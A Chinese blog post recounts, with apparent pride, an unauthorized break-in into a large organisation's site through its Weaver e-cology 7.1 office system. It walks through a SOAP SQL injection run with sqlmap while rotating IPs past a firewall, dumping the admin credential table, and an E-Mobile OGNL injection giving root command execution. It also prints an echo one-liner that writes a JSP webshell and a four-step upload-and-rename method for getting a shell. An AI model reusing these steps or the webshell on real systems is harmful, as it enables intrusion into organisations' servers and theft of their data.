泛微e-cology7.1 SOAP注入引发的血案

Mr.Wu 12,012 3 正在检测是否收录...

开篇

你迷信吗?我本不信,结果去年进去蹲了一段时间出来,各种霉,搞啥啥不顺,然后我妈居然非常神奇的去给我买了个红内裤....然后就有了今年的第一次成功渗透——泛微e-cology7.1 SOAP注入引发的血案.

某站,160多个子站,先把和主站同服的子站全部简单看了一遍,没发现什么能利用的,讨厌阿里云,如今日站,各种WAF,工具都不敢用,不用工具手工真的成功率太低,心塞。

申明下,本文是一边搞一边写的,所以跑题了请勿见怪。。谁叫我运气不顺呢。。

发现SOAP注入

好吧,不扯了,进入正题吧,子站看了没找到什么突破口,不过发现一个泛微协同商务系统,感觉有戏,各种百度这套CMS的0day..

泛微e-cology7.1 SOAP注入引发的血案

然后找到了一个前辈曾公布的SOAP注入漏洞:泛微协同商务系统e-cology某处SQL注入(附验证中转脚本)

泛微e-cology7.1 SOAP注入引发的血案

丢到sqlmap中跑了很久,IP换了N个,终于出来了。。。

泛微e-cology7.1 SOAP注入引发的血案

通过注入点拿shell

最快捷的方法有2种:

1.JSP通常都是以administrator权限运行的,所以可以直接通过系统命令获取权限。

2.获取后台密码,登陆OA系统GETSHELL。(我先选择这个,因为第一次遇到这个程序,还么有折腾过,先试试通过后台getshell.)

通过查看以前的漏洞记录得知后台表名:HrmResourceManager

泛微e-cology7.1 SOAP注入引发的血案

泛微e-cology7.1 SOAP注入引发的血案

成功登陆,接下来就是getshell了,在后台折腾了老半天,然后又谷歌百度了老半天,然后突然醒悟,这个版本的后台没有大牛公布拿shell方法。。。我等菜鸟只能在别的地方找突破口了。

经测试发现,os-shell执行命令也不行,瞬间想到的2个思路,结果都不成功,这就心塞了哈。

总结一下,现在的情况就是,有数据裤,却没办法拿到shell,想了半天,发现好像唯一能做的就是翻裤,找密码,尝试登陆各种子站。。。我的天。。。Oracle的数据裤啊!!!,本来注入就跑的慢的一比。。。这个方法不可行。。。

尝试跑Oracle的密码,远程连接,发现连不上。。。。扫端口目测内网

柳暗花明

本是想着继续找找看看有没有泛微e-cology7.1 后台拿shell的文章,结果意外看到了这篇文章 泛微 E-Mobile Ognl 表达式注入

泛微e-cology7.1 SOAP注入引发的血案

执行命令各种被防火墙拉IP,执行一次查询就得还一个IP,我也是醉了。。。
root权限的shell,因为各种被拉IP,想直接建个账号SSH上去的,结果发现是内网,那么现在的思路就是找到目标绝对路径,然后写shell。。。只能这样了,可是因为被拉IP的缘故,我总不能从 ls /  开始一个个的翻吧?容我百度百度看看有没有快捷的办法。。。。
1.失败命令:ps -ef | grep tomcat  find / -name tomcat  (后来发现根本不是tomcat...太年轻还有很长的路要走)
2. Linux 显示当前文件绝对路径命令:pwd && ls    成功得到路径:/usr/weaver/EMobile  Linux弱爆了,别笑,说的就是你..

echo 写shell:

echo -e "<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>" > /usr/weaver/EMobile/1.jsp

泛微e-cology7.1 SOAP注入引发的血案

出现了这么个报错,这让我情何以堪。。。。本来以为是特殊字符的锅,然后尝试字符转义。。

换了一种方式,可以不再被拉IP了,心塞

泛微e-cology7.1 SOAP注入引发的血案

Linux可以GETSHELL的方法:

echo  失败,没有报错,但是就是写入失败,并不是没有权限写入的问题,不知道是什么问题,

wget 同样失败,wget -v 正常,测试发现无法连接外网。

history > /root/1.txt 失败,执行报错

将执行的命令和结果写入到文件的思路也不行

Linux 日志以及 网站日志 框架日志等各种日志和缓存写shell  均失败

其他的命令基本还算正常,但是也进入了一个苦恼期,不熟悉Linux,一时之间不知道该用什么方法写shell了,只有慢慢百度了。

利用e-cology上传任意格式文件的马儿,然后重命名,但是经过各种折腾发现,找不到上传后的路径,也是醉了。。

成功getshell

经过各种折腾研究,然后幸运的让我找到了泛微e-cology7.1 getshell的方法....

第一步:访问https://www.mrwu.red/system/SystemSetEdit.jsp

泛微e-cology7.1 SOAP注入引发的血案

填写你指定的绝对路径,反正我是找了半天没找到他文件的默认路径

第二步:找一个地方上传文件

泛微e-cology7.1 SOAP注入引发的血案

我直接上传的jsp文件,然而上传后的文件却直接去掉了后缀,不过这都不是事。

第三步:访问https://www.mrwu.red/docs/DocBrowserMain.jsp?url=/page/maint/common/UserResourceBrowse.jsp?file=none

泛微e-cology7.1 SOAP注入引发的血案

其实这里我一直想不通的是,image目录下有几个图片文件,不知道是怎么上传上去的。。。也是日了狗。

泛微e-cology7.1 SOAP注入引发的血案

原来他去掉了后缀而已,难怪我find没搜到,我直接翻源码的时候有看到过类似的文件,瞬间总结出如下几个可能的泛微e-cology上传文件默认路径:

泛微e-cology7.1 SOAP注入引发的血案

第四步:利用之前的任意执行将/page/resource/userfile/image/201804/I/1872262809 文件重命名

泛微e-cology7.1 SOAP注入引发的血案

泛微e-cology7.1 SOAP注入引发的血案

泛微e-cology7.1 SOAP注入引发的血案

 

幸福总是来的如此突然,穿了红内裤果然就是不一样,日站吊吊哒。。

细心+耐心,往往结果不会那么不尽人意,我想如果继续折腾下去,或许还会发现别的getshell方法,不是吗?万事总有例外。

对于熟悉e-cology的人来说,或许觉得太简单了,然而我却搞了好几个通宵,各种百度谷歌翻源码折腾。。。毕竟不熟悉Linux,又是第一次接触这套程序...

至此本文结束,需要学的还有很多,欢迎大家畅所欲言给我指出不足以及分享你的思路哟。

打赏
发表评论 取消回复
表情 图片 链接 代码

  1. xss
    xss Lv 1

    为什么不直接反弹shell呢

  2. dd
    dd Lv 1

    可以,真不错。我这没进后台呢表达式还执行不了命令,彻底gg

  3. d'd
    d'd Lv 1

    牛啊

分享
微信
微博
QQ